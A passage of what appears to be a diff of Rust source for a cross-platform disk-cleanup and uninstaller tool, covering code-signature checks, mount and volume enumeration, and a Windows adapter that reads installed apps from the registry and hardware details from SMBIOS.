dwUIChoice: WTD_UI_NONE,
fdwRevocationChecks: WTD_REVOKE_NONE,
dwUnionChoice: WTD_CHOICE_FILE,
Anonymous: WINTRUST_DATA_0 {
pFile: &mut file_info,
},
dwStateAction: WTD_STATEACTION_IGNORE,
hWVTStateData: std::ptr::null_mut(),
pwszURLReference: std::ptr::null_mut(),
dwProvFlags: 0,
dwUIContext: 0,
pSignatureSettings: std::ptr::null_mut(),
};
let status = unsafe {
WinVerifyTrust(
std::ptr::null_mut(),
&mut ACTION.clone() as *mut GUID,
&mut data as *mut _ as *mut std::ffi::c_void,
)
};
if status == 0 {
Ok(())
} else {
Err(status as u32)
}
}
fn wide_path(path: &Path) -> Vec<u16> {
path.to_string_lossy()
.encode_utf16()
.chain(std::iter::once(0))
.collect()
}
/// The `CompanyName` of the version resource: what Task Manager prints as
/// Publisher, and a magnitude cheaper than parsing the certificate chain.
fn publisher(path: &Path) -> Option<String> {
use windows_sys::Win32::Storage::FileSystem::{
GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW,
};
let wide = wide_path(path);
let size = unsafe { GetFileVersionInfoSizeW(wide.as_ptr(), std::ptr::null_mut()) };
if size == 0 {
return None;
}
let mut buffer = vec![0_u8; size as usize];
let ok = unsafe { GetFileVersionInfoW(wide.as_ptr(), 0, size, buffer.as_mut_ptr().cast()) };
if ok == 0 {
return None;
}
let mut pointer: *mut std::ffi::c_void = std::ptr::null_mut();
let mut length = 0_u32;
let translation = wide_str("\\VarFileInfo\\Translation");
let found = unsafe {
VerQueryValueW(
buffer.as_ptr().cast(),
translation.as_ptr(),
&mut pointer,
&mut length,
)
};
let (language, code_page) = if found == 0 || length < 4 {
(0x0409, 1200)
} else {
let pairs = unsafe {
std::slice::from_raw_parts(pointer.cast::<(u16, u16)>(), (length / 4) as usize)
};
pairs.first().copied().unwrap_or((0x0409, 1200))
};
let key = wide_str(&format!("\\StringInfo\\{language:04x}{code_page:04x}"));
let found = unsafe {
VerQueryValueW(
buffer.as_ptr().cast(),
key.as_ptr(),
&mut pointer,
&mut length,
)
};
if found == 0 || length == 0 {
return None;
}
let block =
unsafe { std::slice::from_raw_parts(pointer.cast::<u16>(), (length / 2) as usize) };
string_value(block, "CompanyName")
}
fn wide_str(text: &str) -> Vec<u16> {
text.encode_utf16().chain(std::iter::once(0)).collect()
}
/// The `StringFileInfo` block is `key\0value\0key\0value\0…` in UTF-16,
/// terminated by an empty key.
fn string_value(block: &[u16], wanted: &str) -> Option<String> {
let mut entries: Vec<String> = Vec::new();
let mut current: Vec<u16> = Vec::new();
for unit in block {
if *unit == 0 {
if !current.is_empty() {
let taken: Vec<u16> = std::mem::take(&mut current);
entries.push(String::from_utf16_lossy(&taken));
}
} else {
current.push(*unit);
}
}
for pair in entries.as_chunks::<2>().0 {
if pair[0].eq_ignore_ascii_case(wanted) && !pair[1].is_empty() {
return Some(pair[1].clone());
}
}
None
}
}
#[cfg(all(test, target_os = "macos"))]
mod blob_tests {
use super::*;
/// Apple's own binaries are signed, and these three are on every macOS
/// version this runs on, so the header check has something fixed to point at.
#[test]
fn a_signed_system_binary_reports_its_signature_blob() {
for path in ["/bin/ls", "/bin/cat", "/usr/lib/dyld"] {
let file = std::path::Path::new(path);
if !file.is_file() {
continue;
}
assert!(
has_signature_blob(file),
"{path} is signed, and the load commands say so"
);
}
}
#[test]
fn a_file_that_is_not_a_macho_reports_no_signature() {
let dir = std::env::temp_dir().join(format!("squid-trust-blob-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let plain = dir.join("plain");
std::fs::write(&plain, b"#!/bin/sh\necho not a binary\n").unwrap();
assert!(!has_signature_blob(&plain));
// A Mach-O magic with nothing behind it: the header is too short to hold
// any load commands, and reading past the end must not panic.
let truncated = dir.join("truncated");
std::fs::write(&truncated, [0xCF_u8, 0xFA, 0xED, 0xFE, 0, 0, 0, 1]).unwrap();
assert!(!has_signature_blob(&truncated));
// A fat header that points its only slice past the end of the file.
let lying = dir.join("lying-fat");
let mut bytes = vec![0xCA, 0xFE, 0xBA, 0xBE, 0, 0, 0, 1];
bytes.extend([0_u8; 8]);
bytes.extend((1_u32 << 20).to_be_bytes());
bytes.extend([0_u8; 8]);
std::fs::write(&lying, &bytes).unwrap();
assert!(!has_signature_blob(&lying));
std::fs::remove_dir_all(&dir).ok();
}
/// The strongest form of this test is the same file on both sides of the
/// signature boundary. A freshly linked arm64 binary is already
/// `adhoc, linker-signed`, so "just compiled" cannot prove anything; removing
/// and re-adding the signature shows the answer follows the load command
/// rather than the file's name, size, or the parser's mood.
#[test]
fn the_answer_follows_the_load_command() {
let dir = std::env::temp_dir().join(format!("squid-trust-cc-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
let source = dir.join("probe.c");
std::fs::write(&source, "int main(void){return 0;}\n").unwrap();
let binary = dir.join("probe");
let run = |program: &str, args: &[&str]| {
std::process::Command::new(program)
.args(args)
.status()
.map(|status| status.success())
.unwrap_or(false)
};
if !run(
"cc",
&["-o", &binary.to_string_lossy(), &source.to_string_lossy()],
) {
// No compiler here; the shape of the answer is still covered by the
// non-Mach-O test above.
std::fs::remove_dir_all(&dir).ok();
return;
}
if !run(
"codesign",
&["--remove-signature", &binary.to_string_lossy()],
) {
std::fs::remove_dir_all(&dir).ok();
return;
}
assert!(
!has_signature_blob(&binary),
"with the signature command removed, nothing should be reported"
);
assert!(
run("codesign", &["-s", "-", &binary.to_string_lossy()]),
"ad-hoc signing the probe should succeed"
);
assert!(
has_signature_blob(&binary),
"adding the signature command back must flip the answer"
);
std::fs::remove_dir_all(&dir).ok();
}
}

View File

@ -1,295 +0,0 @@
//! Volume enumeration shared by the Unix adapters.
use squid_core::Bytes;
use squid_core::Volume;
use std::path::{Path, PathBuf};
#[derive(Clone, Debug)]
pub struct MountEntry {
pub mount_point: PathBuf,
pub device: String,
pub fstype: String,
}
/// Filesystems that never represent user-visible capacity.
const PSEUDO_FS: &[&str] = &[
"devfs",
"autofs",
"devtmpfs",
"proc",
"sysfs",
"cgroup",
"cgroup2",
"tmpfs",
"ramfs",
"overlay",
"squashfs",
"debugfs",
"tracefs",
"securityfs",
"pstore",
"binfmt_misc",
"configfs",
"fusectl",
"mqueue",
"hugetlbfs",
"rpc_pipefs",
"nsfs",
"autofs",
"nullfs",
"msdos",
"anon:osd",
"SMB",
"afpfs",
"WebDAV",
"NFS",
];
/// `(total, available)` for a mount point.
pub fn statvfs_for(path: &Path) -> Option<(Bytes, Bytes)> {
use std::ffi::CString;
let c_path = CString::new(path.as_os_str().to_string_lossy().as_bytes()).ok()?;
let mut stat = unsafe { std::mem::zeroed::<libc::statvfs>() };
let rc = unsafe { libc::statvfs(c_path.as_ptr(), &mut stat) };
if rc != 0 {
return None;
}
let frsize = stat.f_frsize as u64;
let block = if stat.f_blocks == 0 {
stat.f_bsize as u64
} else {
frsize
};
let total = stat.f_blocks as u64 * block;
let free = stat.f_bavail as u64 * block;
if total == 0 {
return None;
}
Some((Bytes(total), Bytes(free)))
}
/// Turn mount entries into volumes, skipping pseudo filesystems and deduping
/// firmlink/bind mounts that report identical capacity (macOS shows `/` and
/// `/System/Volumes/Data` as the same store).
pub fn volumes_from_mounts(mounts: &[MountEntry]) -> Vec<Volume> {
let root = PathBuf::from("/");
let mut seen_capacity: Vec<(u64, u64)> = Vec::new();
let mut out: Vec<Volume> = Vec::new();
let mut mounts: Vec<&MountEntry> = mounts.iter().collect();
mounts.sort_by_key(|m| (m.mount_point != root, m.mount_point.clone()));
for mount in mounts {
let fstype_lower = mount.fstype.to_lowercase();
if PSEUDO_FS.iter().any(|p| fstype_lower == *p) {
continue;
}
let text = mount.mount_point.to_string_lossy().into_owned();
// macOS firmlinks and snapshot mounts.
if text.starts_with("/System/Volumes/") && text != "/System/Volumes/Data" {
continue;
}
if text.starts_with("/System/Volumes/Data") && !out.is_empty() {
continue;
}
// Application wrappers (for example an app that mounts its bundle at a
// temporary path) are not disks a person can manage. Finder only shows
// real volumes at `/` and under `/Volumes`.
if cfg!(target_os = "macos")
&& text != "/"
&& !text.starts_with("/Volumes/")
&& !text.starts_with("/System/Volumes/")
{
continue;
}
if let Some((total, free)) = statvfs_for(&mount.mount_point) {
let key = (total.as_u64(), free.as_u64());
if seen_capacity.contains(&key) {
continue;
}
seen_capacity.push(key);
let is_root = mount.mount_point == root;
let name = volume_name(&mount.mount_point, is_root);
let is_removable = text.starts_with("/Volumes/")
|| mount.device.contains("/media/")
|| mount.device.starts_with("/dev/mmcblk");
out.push(Volume {
name,
mount_point: mount.mount_point.clone(),
total,
free,
is_root,
is_removable,
filesystem: mount.fstype.clone(),
});
}
}
out
}
fn volume_name(mount: &Path, is_root: bool) -> String {
if is_root {
return mac_volume_name(mount).unwrap_or_else(|| "Macintosh HD".into());
}
mac_volume_name(mount).unwrap_or_else(|| {
mount
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_else(|| mount.display().to_string())
})
}
/// Finder-style volume name on macOS (`diskutil info -plist` is the only cheap
/// and reliable source); other systems fall back to the mount point name.
fn mac_volume_name(mount: &Path) -> Option<String> {
if !cfg!(target_os = "macos") {
return None;
}
let _ = mount;
None
}
#[cfg(target_os = "macos")]
pub fn mount_entries() -> Vec<MountEntry> {
let mut out = Vec::new();
// statfs(2): getmntinfo returns a statically allocated array we own until
// the next call. MNT_NOWAIT keeps it non-blocking.
const MNT_NOWAIT: libc::c_int = 2;
unsafe {
let mut statfs_ptr: *mut libc::statfs = std::ptr::null_mut();
let count = libc::getmntinfo(&mut statfs_ptr, MNT_NOWAIT);
if count <= 0 || statfs_ptr.is_null() {
return out;
}
for idx in 0..count as isize {
let stat = *statfs_ptr.offset(idx);
let mount_point = c_buffer_to_path(&stat.f_mntonname);
let device = c_buffer_to_string(&stat.f_mntfromname);
let fstype = c_buffer_to_string(&stat.f_fstypename);
if mount_point.as_os_str().is_empty() {
continue;
}
out.push(MountEntry {
mount_point,
device,
fstype,
});
}
}
out
}
#[cfg(target_os = "linux")]
pub fn mount_entries() -> Vec<MountEntry> {
let mut out = Vec::new();
let text = match std::fs::read_to_string("/proc/self/mounts") {
Ok(text) => text,
Err(_) => return out,
};
for line in text.lines() {
let mut fields = line.split_whitespace();
let (Some(device), Some(mount_point), Some(fstype)) =
(fields.next(), fields.next(), fields.next())
else {
continue;
};
let decoded = unescape_mount(mount_point);
out.push(MountEntry {
mount_point: PathBuf::from(decoded),
device: device.to_string(),
fstype: fstype.to_string(),
});
}
out
}
#[cfg(not(any(target_os = "macos", target_os = "linux")))]
pub fn mount_entries() -> Vec<MountEntry> {
Vec::new()
}
#[cfg(target_os = "linux")]
fn unescape_mount(value: &str) -> String {
let mut out = String::with_capacity(value.len());
let mut chars = value.chars();
while let Some(ch) = chars.next() {
if ch == '\\' {
match (chars.next(), chars.next(), chars.next()) {
(Some('0'), Some('4'), Some('0')) => out.push(' '),
(Some('0'), Some('1'), Some('2')) => out.push('\t'),
(Some('0'), Some('1'), Some('1')) => out.push('\n'),
(Some('1'), Some('3'), Some('4')) => out.push('\\'),
(a, b, c) => {
for part in [a, b, c].into_iter().flatten() {
out.push(part);
}
}
}
} else {
out.push(ch);
}
}
out
}
fn c_buffer_to_string(buf: &[libc::c_char]) -> String {
let bytes: Vec<u8> = buf
.iter()
.map(|b| *b as u8)
.take_while(|b| *b != 0)
.collect();
String::from_utf8_lossy(&bytes).into_owned()
}
fn c_buffer_to_path(buf: &[libc::c_char]) -> PathBuf {
OsStrBytes(c_buffer_to_string(buf)).into_path()
}
struct OsStrBytes(String);
impl OsStrBytes {
fn into_path(self) -> PathBuf {
PathBuf::from(self.0)
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn finds_the_root_volume() {
let volumes = volumes_from_mounts(&mount_entries());
assert!(
volumes.iter().any(|v| v.is_root),
"expected a root volume, got {volumes:?}"
);
for volume in &volumes {
assert!(volume.total.as_u64() > 0);
assert!(volume.free <= volume.total);
}
}
#[test]
fn pseudo_filesystems_are_skipped() {
let mounts = vec![MountEntry {
mount_point: PathBuf::from("/dev"),
device: "devfs".into(),
fstype: "devfs".into(),
}];
assert!(volumes_from_mounts(&mounts).is_empty());
}
#[test]
fn app_wrapper_mounts_are_not_volumes() {
let mount_point = std::env::temp_dir();
let mounts = vec![MountEntry {
mount_point: mount_point.clone(),
device: "/Applications/X.app/Wrapper".into(),
fstype: "nullfs".into(),
}];
assert!(
volumes_from_mounts(&mounts).is_empty(),
"a nullfs app wrapper at {} must not look like a disk",
mount_point.display()
);
}
}

View File

@ -1,911 +0,0 @@
//! Windows adapter. Installed apps come from the uninstall registry hives
//! (HKLM 64-bit + 32-bit views, HKCU), leftovers from the well-known
//! AppData/ProgramData folders, volumes and processes from `sysinfo`.
use crate::{
AppSource, BinNoun, Device, LeftoverRoot, LifecycleReport, Naming, Platform, PlatformId,
TrashTarget,
};
use squid_core::progress::CancelToken;
use squid_core::{AppInfo, Bytes, Category, Result, Volume};
use std::path::{Path, PathBuf};
use std::process::Command;
use sysinfo::{Disks, System};
use winreg::enums::{
HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, KEY_READ, KEY_WOW64_32KEY, KEY_WOW64_64KEY,
};
use winreg::RegKey;
#[derive(Default)]
pub struct Windows;
const UNINSTALL_SUBKEY: &str = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall";
const NT_VERSION_KEY: &str = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion";
const BIOS_KEY: &str = r"HARDWARE\DESCRIPTION\System\BIOS";
fn open_uninstall_hives() -> Vec<(RegKey, &'static str)> {
let mut hives = Vec::new();
let views = [
(KEY_WOW64_64KEY, "Registry (HKLM 64-bit)"),
(KEY_WOW64_32KEY, "Registry (HKLM 32-bit)"),
];
for (flag, label) in views {
if let Ok(key) = RegKey::predef(HKEY_LOCAL_MACHINE)
.open_subkey_with_flags(UNINSTALL_SUBKEY, KEY_READ | flag)
{
hives.push((key, label));
}
}
if let Ok(key) =
RegKey::predef(HKEY_CURRENT_USER).open_subkey_with_flags(UNINSTALL_SUBKEY, KEY_READ)
{
hives.push((key, "Registry (HKCU)"));
}
hives
}
fn str_value(key: &RegKey, name: &str) -> Option<String> {
key.get_value::<String, _>(name)
.ok()
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
}
fn dword_value(key: &RegKey, name: &str) -> Option<u32> {
key.get_value::<u32, _>(name).ok()
}
/// The registry's `ProductName` freezes at "Windows 10 …" on every machine
/// upgraded from 10 (Microsoft documents it as unreliable); Windows 11 keeps
/// reporting API version 10.0 too. The build number is the real signal:
/// 22000 shipped as Windows 11. Editions come from `EditionID`, the feature
/// label from `DisplayVersion`, e.g. `Windows 11 Pro 26H2`.
fn os_label(
major: Option<u32>,
build: Option<&str>,
product: Option<&str>,
edition: Option<&str>,
display: Option<&str>,
) -> String {
let build_no = build.and_then(|b| b.trim().parse::<u32>().ok());
let Some(family) = (match (major.unwrap_or(10), build_no) {
(10, Some(b)) if b >= 22000 => Some("Windows 11"),
(10, Some(_)) => Some("Windows 10"),
_ => None, // Windows 7/8 or a future major: use the registry's wording.
}) else {
let mut out = product.unwrap_or("Windows").to_string();
if let Some(d) = display {
out.push(' ');
out.push_str(d);
} else if let Some(b) = build {
out.push_str(&format!(" (build {b})"));
}
return out;
};
let mut out = family.to_string();
if let Some(edition) = edition_label(edition) {
out.push(' ');
out.push_str(edition);
}
match (display, build) {
(Some(d), _) => {
out.push(' ');
out.push_str(d);
}
(None, Some(b)) => out.push_str(&format!(" (build {b})")),
(None, None) => {}
}
out
}
/// `EditionID` → marketing edition, mirroring the names Windows itself uses.
fn edition_label(edition: Option<&str>) -> Option<&'static str> {
Some(match edition? {
"Professional" | "ProfessionalN" => "Pro",
"ProfessionalEducation" | "ProfessionalEducationN" => "Pro Education",
"ProfessionalWorkstation" | "ProfessionalWorkstationN" => "Pro for Workstations",
"Education" | "EducationN" => "Education",
"Enterprise" | "EnterpriseN" | "EnterpriseS" | "EnterpriseEvaluation" => "Enterprise",
"Core" | "CoreN" | "CoreCountrySpecific" | "CoreSingleLanguage" => "Home",
"ServerRdsh" => "Enterprise Multi-Session",
"ServerDatacenter" | "ServerDatacenterACor" => "Server Datacenter",
"ServerStandard" | "ServerStandardACor" => "Server Standard",
_ => return None,
})
}
/// `2024-08-13`-ish epoch millis from the registry's `YYYYMMDD` string.
fn install_date_ms(raw: Option<String>) -> Option<u64> {
let raw = raw?.replace('-', "");
let year: i32 = raw.get(0..4)?.parse().ok()?;
let month: u32 = raw.get(4..6)?.parse().ok()?;
let day: u32 = raw.get(6..8)?.parse().ok()?;
let days = days_since_epoch(year, month, day)?;
Some(days.saturating_mul(86_400_000))
}
/// Days from 1970-01-01 to a proleptic Gregorian date (Howard Hinnant's algorithm).
fn days_since_epoch(y: i32, m: u32, d: u32) -> Option<u64> {
let y = if m <= 2 { y - 1 } else { y };
let era = (if y >= 0 { y } else { y - 399 }) / 400;
let yoe = (y - era * 400) as u64;
let mp = (m + 9) % 12;
let doy = (153 * mp as u64 + 2) / 5 + d as u64 - 1;
let doe = yoe * 365 + yoe / 4 - yoe / 100 + doy;
Some((era * 146097 + doe as i32 - 719468) as u64)
}
/// Strip surrounding quotes and `cmd /c` wrappers from an uninstall string.
fn uninstall_program(uninstall_string: &str) -> Option<PathBuf> {
let s = uninstall_string.trim();
let path_part = if s.starts_with('"') {
s.strip_prefix('"')?.split('"').next()?
} else {
// msiexec style: `MsiExec.exe /X{GUID}` — take the first token only if
// it looks like a file; `msiexec` alone resolves via PATH anyway.
s.split_whitespace().next()?
};
let candidate = PathBuf::from(path_part);
candidate.exists().then_some(candidate)
}
/// `DisplayIcon` is a path with an optional icon index, usually quoted:
/// `"C:\Program Files\App\app.exe",0`. The file manager accepts the path
/// without the index and returns the application's default icon.
fn display_icon_path(value: Option<String>) -> Option<PathBuf> {
let raw = value?.trim().to_string();
let unquoted = raw
.strip_prefix('"')
.and_then(|value| value.split('"').next())
.unwrap_or(&raw)
.trim();
let without_index = unquoted
.rsplit_once(',')
.filter(|(_, index)| index.trim().parse::<i32>().is_ok())
.map(|(path, _)| path)
.unwrap_or(unquoted)
.trim();
let path = PathBuf::from(without_index);
path.exists().then_some(path)
}
impl Platform for Windows {
fn id(&self) -> PlatformId {
PlatformId::Windows
}
fn display_name(&self) -> String {
"Windows".into()
}
fn os_version(&self) -> String {
let key = RegKey::predef(HKEY_LOCAL_MACHINE)
.open_subkey_with_flags(NT_VERSION_KEY, KEY_READ)
.ok();
let Some(key) = key else {
return "Windows".into();
};
os_label(
dword_value(&key, "CurrentMajorVersionNumber"),
str_value(&key, "CurrentBuildNumber").as_deref(),
str_value(&key, "ProductName").as_deref(),
str_value(&key, "EditionID").as_deref(),
str_value(&key, "DisplayVersion").as_deref(),
)
}
fn hardware_model(&self) -> String {
let bios = RegKey::predef(HKEY_LOCAL_MACHINE)
.open_subkey_with_flags(BIOS_KEY, KEY_READ)
.ok();
match bios {
Some(key) => {
let vendor = str_value(&key, "SystemManufacturer").filter(|v| !is_placeholder(v));
let model = str_value(&key, "SystemProductName").filter(|v| !is_placeholder(v));
match (vendor, model) {
(Some(v), Some(m)) if v != m => format!("{v} {m}"),
(_, Some(m)) => m,
(Some(v), _) => v,
(None, None) => String::new(),
}
}
None => String::new(),
}
}
fn graphics_adapter(&self) -> String {
let Ok(class) = RegKey::predef(HKEY_LOCAL_MACHINE).open_subkey_with_flags(
r"SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}",
KEY_READ,
) else {
return String::new();
};
let mut adapters = Vec::new();
for name in class.enum_keys().flatten() {
let Ok(adapter) = class.open_subkey_with_flags(&name, KEY_READ) else {
continue;
};
let Some(description) = str_value(&adapter, "DriverDesc") else {
continue;
};
if !adapters.contains(&description) {
adapters.push(description);
}
}
adapters.join(" · ")
}
fn app_sources(&self) -> Vec<AppSource> {
let env = |key: &str| std::env::var_os(key).map(PathBuf::from);
let mut dirs: Vec<PathBuf> = vec![
env("ProgramFiles").unwrap_or_else(|| PathBuf::from(r"C:\Program Files")),
env("ProgramFiles(x86)").unwrap_or_else(|| PathBuf::from(r"C:\Program Files (x86)")),
];
dirs.dedup();
dirs.into_iter()
.filter(|dir| dir.is_dir())
.map(|dir| AppSource {
dir,
label: "Program Files".into(),
depth: 1,
system: true,
})
.collect()
}
fn list_apps(&self, cancel: &CancelToken, size: bool) -> Result<Vec<AppInfo>> {
let running: Vec<String> = self
.running_executables()
.into_iter()
.map(|p| p.to_lowercase())
.collect();
let mut apps = Vec::new();
for (hive, source) in open_uninstall_hives() {
let names = hive
.enum_keys()
.filter_map(|name| name.ok())
.collect::<Vec<_>>();
for name in names {
if cancel.is_cancelled() {
return Ok(apps);
}
let Ok(key) = hive.open_subkey(&name) else {
continue;
};
let Some(display_name) = str_value(&key, "DisplayName") else {
continue;
};
if dword_value(&key, "SystemComponent") == Some(1) {
continue;
}
// Servicing entries (patches, update rollups) are not apps.
if matches!(
str_value(&key, "ReleaseType").as_deref(),
Some("Security Update") | Some("Update Rollup") | Some("Hotfix")
) {
continue;
}
let install_location = str_value(&key, "InstallLocation")
.map(|l| l.trim_matches('"').to_string())
.map(PathBuf::from)
.filter(|p| p.is_dir());
let uninstall_string = str_value(&key, "UninstallString");
let path = install_location
.clone()
.or_else(|| uninstall_string.as_deref().and_then(uninstall_program))
.unwrap_or_default();
let running_app = install_location
.as_ref()
.map(|loc| {
let loc = loc.to_string_lossy().to_lowercase();
running.iter().any(|exe| exe.starts_with(&loc))
})
.unwrap_or(false);
// Size: Windows installers report EstimatedSize (KB) for
// Add/Remove Programs — the same number Settings shows.
// Absent that, measure the install folder when asked.
let size = match dword_value(&key, "EstimatedSize") {
Some(kb) => Bytes(u64::from(kb) * 1024),
None if size => install_location
.as_ref()
.map(|loc| {
squid_core::fs::measure(loc, squid_core::ItemKind::Path).allocated
})
.unwrap_or_default(),
None => Bytes::ZERO,
};
apps.push(AppInfo {
name: display_name,
bundle_id: None,
path,
icon_source: display_icon_path(str_value(&key, "DisplayIcon")),
version: str_value(&key, "DisplayVersion"),
size,
source: source.into(),
running: running_app,
has_sibling_install: false,
publisher: str_value(&key, "Publisher"),
installed_ms: install_date_ms(str_value(&key, "InstallDate")),
display_icon: str_value(&key, "DisplayIcon"),
});
}
}
apps.sort_by_key(|app| app.name.to_lowercase());
Ok(apps)
}
fn leftover_roots(&self) -> Vec<LeftoverRoot> {
["APPDATA", "LOCALAPPDATA", "ProgramData"]
.iter()
.filter_map(|key| std::env::var_os(key).map(PathBuf::from))
.map(|dir| LeftoverRoot {
dir,
naming: Naming::AppName,
deep: false,
category: Category::Leftovers,
})
.filter(|c| c.dir.is_dir())
.collect()
}
fn prepare_uninstall(&self, app: &AppInfo) -> LifecycleReport {
let mut report = LifecycleReport::default();
report.warnings.push(format!(
"{} ships its own uninstaller; squid only removes leftover data on Windows",
app.name
));
report
}
fn finish_uninstall(&self, _app: &AppInfo, _removed: &[PathBuf]) -> LifecycleReport {
LifecycleReport::default()
}
fn volumes(&self) -> Result<Vec<Volume>> {
let system_drive = std::env::var("SystemDrive").unwrap_or_else(|_| "C:".into());
let mut out = Vec::new();
let disks = Disks::new_with_refreshed_list();
for disk in &disks {
let mount = disk.mount_point().to_path_buf();
let mount_name = mount.to_string_lossy().trim_end_matches('\\').to_string();
out.push(Volume {
name: mount_name.clone(),
mount_point: mount,
total: Bytes(disk.total_space()),
free: Bytes(disk.available_space()),
is_root: mount_name.eq_ignore_ascii_case(&system_drive),
is_removable: disk.is_removable(),
filesystem: disk.file_system().to_string_lossy().into_owned(),
});
}
Ok(out)
}
fn protected_prefixes(&self) -> Vec<PathBuf> {
let env = |key: &str| std::env::var_os(key).map(PathBuf::from);
let mut prefixes: Vec<PathBuf> = [
env("SystemRoot"),
env("windir"),
env("ProgramFiles"),
env("ProgramFiles(x86)"),
]
.into_iter()
.flatten()
.chain(std::iter::once(PathBuf::from(r"C:\Windows")))
.collect();
prefixes.sort();
prefixes.dedup();
prefixes
}
fn running_executables(&self) -> Vec<String> {
let mut system = System::new_with_specifics(
sysinfo::RefreshKind::nothing()
.with_processes(sysinfo::ProcessRefreshKind::everything()),
);
system.refresh_processes(sysinfo::ProcessesToUpdate::All, true);
system
.processes()
.values()
.filter_map(|process| process.exe())
.map(|path| path.to_string_lossy().into_owned())
.collect()
}
fn inspect_path(&self, _path: &Path) -> Option<String> {
None
}
fn reveal_trash(&self) {
let _ = Command::new("explorer")
.arg("shell:RecycleBinFolder")
.spawn();
}
fn device(&self) -> Device {
Device::Pc
}
fn bin_noun(&self) -> BinNoun {
BinNoun::RecycleBin
}
fn trash_target(&self) -> TrashTarget {
// Every interactive Windows desktop has a Recycle Bin for its drive;
// squid writes it through `IFileOperation` rather than a folder, so
// there is no path to report. `SHEmptyRecycleBinW` failing is the only
// signal that the shell refused, and that is a per-deletion error.
TrashTarget::RecycleBin
}
}
// ---------------------------------------------------------------------------
// Static component facts for the overview spec panel: the BIOS HAL key, raw
// SMBIOS via `GetSystemFirmwareTable`, the storage stack through
// `IOCTL_STORAGE_QUERY_PROPERTY` and the display class registry. Native calls
// only — no spawned `wmic`/PowerShell helpers, which are deprecated outright.
pub(crate) fn hardware_info() -> crate::HardwareInfo {
let mut system = System::new();
system.refresh_cpu_list(sysinfo::CpuRefreshKind::everything());
let mut info = crate::HardwareInfo {
board: baseboard_name(),
cpu_model: system
.cpus()
.first()
.map(|cpu| cpu.brand().trim().to_string())
.unwrap_or_default(),
..Default::default()
};
info.memory_sticks = smbios_memory();
if let Some((vendor, model, bus, size)) = system_disk_identity() {
info.disk_vendor = vendor;
info.disk_model = model;
info.disk_bus = bus;
info.disk_size_bytes = size;
}
if let Some((vendor, model, vram)) = best_gpu() {
info.gpu_vendor = vendor;
info.gpu_model = model;
info.gpu_vram_bytes = vram;
}
info
}
/// Placeholder strings OEM firmware leaves behind instead of real names.
fn is_placeholder(text: &str) -> bool {
let lower = text.trim().to_lowercase();
lower.is_empty()
|| lower.contains("default string")
|| lower.contains("system product name")
|| lower.contains("system manufacturer")
|| lower.contains("base board")
|| lower.contains("to be filled by o.e.m.")
}
fn baseboard_name() -> String {
let Ok(key) = RegKey::predef(HKEY_LOCAL_MACHINE).open_subkey_with_flags(BIOS_KEY, KEY_READ)
else {
return String::new();
};
[
str_value(&key, "BaseBoardProduct"),
str_value(&key, "SystemProductName"),
]
.into_iter()
.flatten()
.find(|text| !is_placeholder(text))
.unwrap_or_default()
}
/// Type-17 (Memory Device) records from the raw SMBIOS blob: brand, size and
/// running speed per stick. `RSMB` lives in the SystemInformation provider.
fn smbios_memory() -> Vec<crate::MemoryStick> {
use windows_sys::Win32::System::SystemInformation::GetSystemFirmwareTable;
const RSMB: u32 = u32::from_le_bytes(*b"RSMB");
// SAFETY: a null buffer with size 0 asks for the required size.
let needed = unsafe { GetSystemFirmwareTable(RSMB, 0, std::ptr::null_mut(), 0) };
if !(8..=4_000_000).contains(&needed) {
return Vec::new();
}
let mut table = vec![0u8; needed as usize];
// SAFETY: buffer sized exactly as requested by the first call.
let written = unsafe { GetSystemFirmwareTable(RSMB, 0, table.as_mut_ptr(), needed) };
if written < 8 {
return Vec::new();
}
let declared = u32::from_le_bytes(table[4..8].try_into().unwrap_or([0; 4])) as usize;
let end = (written as usize - 8)
.min(declared.max(1))
.min(table.len() - 8);
let data = &table[8..8 + end];
let mut sticks = Vec::new();
let mut at = 0usize;
while at + 4 <= data.len() {
let kind = data[at];
let formatted = usize::from(u16::from_le_bytes([data[at + 2], data[at + 3]]));
if formatted < 5 || at + formatted > data.len() {
break;
}
let strings_start = at + formatted;
let strings_end = data[strings_start..]
.windows(2)
.position(|pair| pair == [0, 0])
.map_or(data.len(), |offset| strings_start + offset + 2);
if kind == 17 && formatted >= 0x1D {
// DMTF DSP0134 layout: size @0x0E (KB, 0x7FFF = see extended
// size @0x1F), speed @0x17, manufacturer string @0x19, and from
// v3.2 the running clock @0x1D which beats the rated one.
let raw = u16::from_le_bytes([data[at + 0x0E], data[at + 0x0F]]);
let size_bytes = if raw == 0xFFFF {
0 // slot empty
} else if raw == 0x7FFF && formatted >= 0x27 {
let mut bytes = [0u8; 8];
bytes.copy_from_slice(&data[at + 0x1F..at + 0x27]);
u64::from_le_bytes(bytes)
} else if raw & 0x8000 != 0 {
u64::from(raw & 0x7FFF) * 128 // kilobits per spec
} else {
u64::from(raw) * 1024
};
let rated = u16::from_le_bytes([data[at + 0x17], data[at + 0x18]]) as u32;
let configured = if formatted >= 0x1F {
u16::from_le_bytes([data[at + 0x1D], data[at + 0x1E]]) as u32
} else {
0
};
let manufacturer = smbios_string(
&data[strings_start..strings_end],
usize::from(data[at + 0x19]),
);
let speed = configured.max(rated);
if size_bytes > 0 || speed > 0 || !manufacturer.is_empty() {
sticks.push(crate::MemoryStick {
manufacturer: if is_placeholder(&manufacturer) {
String::new()
} else {
manufacturer
},
size_bytes,
speed_mhz: if speed > 100 { speed } else { 0 },
});
}
}
at = strings_end;
}
sticks
}
fn smbios_string(area: &[u8], index: usize) -> String {
if index == 0 {
return String::new();
}
let mut start = 0usize;
for _ in 1..index {
let Some(rel) = area[start..].iter().position(|byte| *byte == 0) else {
return String::new();
};
start += rel + 1;
if start > area.len() {
return String::new();
}
}
let end = area[start..]
.iter()
.position(|byte| *byte == 0)
.unwrap_or(area.len() - start);
String::from_utf8_lossy(&area[start..start + end])
.trim()
.to_string()
}
/// Vendor + model + bus of the disk behind the system volume. The query is
/// a buffered IOCTL that needs no data access, so the handle is opened with
/// `dwDesiredAccess = 0` — enough even for standard users (GENERIC_READ on
